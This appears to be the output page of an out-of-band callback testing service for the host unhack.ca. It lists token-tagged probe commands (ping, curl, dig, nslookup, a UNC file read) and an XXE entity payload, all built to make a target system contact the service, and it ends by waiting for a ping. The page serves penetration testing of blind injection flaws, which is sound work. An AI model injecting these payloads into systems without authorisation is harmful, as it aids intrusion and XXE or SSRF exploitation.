$ ping -c1 -p 00d727f994e3f8c36111c6fc163a4400 unhack.ca
$ curl http://unhack.ca/p/d727f994e3f8c36111c6fc163a44
$ dig d727f994e3f8c36111c6fc163a44 @unhack.ca
$ dig d727f994e3f8c36111c6fc163a44.ns.unhack.ca
C:\> nslookup d727f994e3f8c36111c6fc163a44 unhack.ca
C:\> type \\unhack.ca\d727f994e3f8c36111c6fc163a44\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/d727f994e3f8c36111c6fc163a44">]>
<foo>&xxe;</foo>
Waiting for ping...